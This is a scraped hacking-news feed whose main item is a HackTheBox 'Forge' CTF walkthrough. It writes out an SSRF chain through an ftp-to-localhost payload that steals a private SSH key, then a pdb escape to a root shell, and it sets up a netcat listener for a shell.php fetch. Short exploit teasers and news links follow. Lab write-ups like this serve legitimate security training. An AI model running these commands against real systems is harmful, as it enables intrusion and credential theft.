Dark Reading: Attacks/Breaches
A Level-Set on Russia-Borne Cyber Threats

As hostilities mount between Russia and Ukraine, new and more dangerous cyberattacks are likely to develop. Pinpointing sources and motives will remain elusive, but enterprises should prepare for an escalation in cyberspace.

Dark Reading: Attacks/Breaches
Are You Prepared to Defend Against a USB Attack?

Recent "BadUSB" attacks serve as a reminder of the big damage that small devices can cause.

Hacking Articles|Raj Chandel's Blog
Forge HackTheBox Walkthrough

IntroductionForge is a CTF linux box rated “medium” on the difficulty scale on HackTheBox platform. The box covers subdomain enumeration, SSRF attacks and basic reverse engineering of python script for privilege escalation.Table of ContentEnumeration· Subdomain enumeration using wfuzzExploitation· Exploiting SSRF to read private SSH keyPrivilege Escalation· Understanding python script running as sudoNetwork ScanningThe dedicated IP address of the machine is 10.129.164.116. We’ll run a nmap scan on this machine’s IP. As we can see in the nmap scan, the server tried to redirect the request to http://forge.htb. So, we’ll add this IP in our hosts file and and access the web server.nmap -sV -sC -p 1-1000 10.129.164.116https://blogger.googleusercontent.com/img/a/AVvXsEjXw_vRTFxHuKYLubtFWunfVi9Jd_naDOCtOKxdpElJqfcEBY9mtD-A-RaYPYcFUOP6b0o3uRYUh0MbyrjWhY9m8Qzzi7j_oWmKpZOA42oKmECStwzpA7CCIs6EOGqOKYsjEnrneT44xfgezK9JHeRSK-7Q2W0JsTIFz2jm4e730bcUAaDEQyswWS6OPQ=s16000 Now, we access the web server which seemed to be running a digital gallery.EnumerationAs we see there was an upload function in the gallery. We tried uploading a PHP payload and gain reverse shell but it didn’t work. File was being uploaded to the server though and contents were there but it wasn’t executing the code.wfuzz -w /home/kali/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.forge.htb" --sc 200 10.129.164.116This shows that admin.forge.htb exists.echo "10.129.164.116   admin.forge.htb" >> /etc/hostshttps://blogger.googleusercontent.com/img/a/AVvXsEg5hUqgrEAzKzUEtpR2MOfQUiqf3lVVMic4kJJdgURURTwzD2kQkJNorpE6VxUIjEgzcMMb4m24r35FuTBfmVvyGqN9h4bmOFUyD4YmEZoWTL-nkcKt6Vx8T74rJ85FFoPU1AkBGzKOJJpqUQK-rYP3PhFy0RH9um2utr8kGDPkwND5mUbE86c40smQog=s16000 So, we headed to another upload option “upload from URL.” There was another filter that only allowed HTTP,HTTPS URLs. https://blogger.googleusercontent.com/img/a/AVvXsEiowOmLoeWtR5kyCoLkHSwMiSbpbV8Y3NLaMeb6_lJrf2FK9xV0c56gu4fYVTYeOHkRf1l3VV50aW3TZ33XPmCPFq6l_YbgwAfU2FYMbn2SUKTdchTGNe4uWrV181YipqtWaCH-3Tmj2KISMguPEL3T6i8EwhS8CbrXR66q-uIMO2VqeXLBVJTeIE6skQ=s16000 So, I set up a listener on port 80 using netcat and input http://10.10.16.10/shell.php in the option (my HTB tunnel IP).___________________________
@hacking_Attack
@Hacking_Video

I could see the website trying to fetch shell.php. There were a few notable things here:ExploitationNow that it had been established the server tries to fetch a remote file, we can work our way up to exploitation from here. My first instinct was to access admin.forge.htb using this remote URL functionality as that page was only accessible using localhost. So, I was able to do that like this but encountered yet another problem!http://ADMIN.FORGE.htb/announcements
curl http://forge.htb/uploads/ps14SjF8useIEk0VOao1Important things inferred from this result were:http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/https://blogger.googleusercontent.com/img/a/AVvXsEhfv26cQ9ojc67BZw_jA4f8zcjR9S7fpmYwX02MlXB9TuE0jtkHzTyIYoAWEcDt0aAsOkeJVEXOiCH1hd08NtC0EuiiNt1A7qNXxjGT7M9rqzUYTl54sYoi6n4Xz91BafKoQcnuLvHvW9kJ4mKQ1TCD2yfK24sec8JvukRFKRJDLNxBlPkyGeMvwIr2lw=s16000 Now, if I can access user.txt, I might also be able to access private SSH key. I did that using this payload:http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEgMmSV22O_mmQATbUymFYi5GN3n5L8LbNZPm9SH6dFYp9xfmmzQtOfTCvGIY83fuj9RB8U71dALTCZkXNf8AW6vJXBxYGCwA0PqPk-jFKcR_2-wqLnAHM4nigVStEwPszBoNl2ZYvkRZ93M2ZUwP3mc5IGAxY4Cg32_pYBiD123-uY_yIsJuyvvEG4WFQ=s16000 Saving that key in my local system we can log into the victim box.nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@forge.htbhttps://blogger.googleusercontent.com/img/a/AVvXsEjvdvZ5paNGafZQmmdSq1Fg4z3oxj1LycRY8W5AHZWxnR_mhH_64gnjdqe0OanEiDQg4y_xFCQ8Q8FCHtjT3-mBScc5Tw7ldot7kXRp9nP2LagaBFX39kHYjrFj_LEd6WqBvdIRjarAmlc_gCfN8XznQHW9_mW1WuAC-IMl60DWA1YaVvAd-2mJFL7[...]

___________________________
@hacking_Attack
@Hacking_Video

aLQ=s16000 Privilege EscalationNow that we had a stable prompt we could advance for privilege escalation. I checked the sudoers file which had a python script allowed to run as root. This script opens up a listener for remote clients to connect. Also, it compares the input password with hardcoded credential secretadminpasswordsudo /usr/bin/python3 /opt/remote-manage.py
nc localhost 55465https://blogger.googleusercontent.com/img/a/AVvXsEjGK3j2S_Y1wcJLwudp97Blj2pdt5zjVI6A0uZ1CPiVaJEwQTeRLMqTkZxZHsEh7nBIXcIn0rOxkvOpHb7Yju0KcA8T05UJeyOhc3V0u9W59wu5-nK_Dl89XicaILBWcl4LxUTfADFk01xjDZ16H38i7qYnarhoE4WhXk9KOKeRWC0RFrpScb6lVqR47A=s16000 Now, I am effectively communicating with a python script which is run as root. You will notice that this script is flawed. As soon as I input anything other than “secretadminpassword” it throws an exception and opens up Python Debugger.import os;os.system(“/bin/sh”)
id
cat /root/root.txthttps://blogger.googleusercontent.com/img/a/AVvXsEiPLup_PCT5S3kW4J1Uv6bZE2qHLQnw6t4U9z4AKP9Mx3crTlO7WmrcWZEG20xf6gnazI1DkkJI93nuUXqxtEzPhLiVnyMWytbyaokINQALUAmLugtdKX_xzdRugbTx53WKmz2Qpm7NIrL7Y3MIL_hZulk5ADdC_WWk9dfGCIgfdByfbgEgDbwFztZH3Q=s16000 ConclusionThe box covers a few tricks that makes one scratch their brain, however, it doesn’t have any rabbit holes or advanced techniques used to exploit. We covered subdomain enumeration, SSRF and basic Python reverse engineering in this box. Hope you liked this article. Thanks for reading.___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
XNU Kernel mach_msg Use-After-Free

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
The XNU kernel suffers from a use-after-free vulnerability in mach_msg.

MD5 | eb1b8067af59bf13ac79b38151184bb3

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
UniFi Network Application Unauthenticated Log4Shell Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Valentine

https://cdn-images-1.medium.com/max/600/1*T3_oV-7avfKcloyccg9NQA.png
This Box requires exploiting a memory corruption bug to gather information that can be used in the further movement to get the initial…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I got access to 25+ Tesla’s around the world. By accident. And curiosity.

https://cdn-images-1.medium.com/max/734/1*YnNzN5XfpxRcaQ3XqETQcA.png
How the heck did a 19 year old from Germany manage to be able to take over more than 25 Tesla’s around the world?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
স্ক্রিপ্টিং ল্যাংগুয়েজ (Scripting language) কী? কীভাবে শিখবো ?

https://cdn-images-1.medium.com/max/678/1*_7j0czePQ9ZPBKhdH01FNw.jpeg
সমস্ত স্ক্রিপ্টিং ল্যাংগুয়েজ ই প্রোগ্রামিং ল্যাংগুয়েজ তবে সমস্ত প্রোগ্রামিং ল্যাংগুয়েজ ই স্ক্রিপ্টিং ল্যাংগুয়েজ নয়।

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is ARP and How does it work?

https://cdn-images-1.medium.com/max/600/1*bCg6SDkK_FGGQEM3Uhwjeg.png
ARP

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CISA agrega 17 vulnerabilidades a la lista de errores explotados en los ataques

https://cdn-images-1.medium.com/max/1527/0*JiruDd7Q6HPIynXD
PUBLICADO EN 24 ENERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video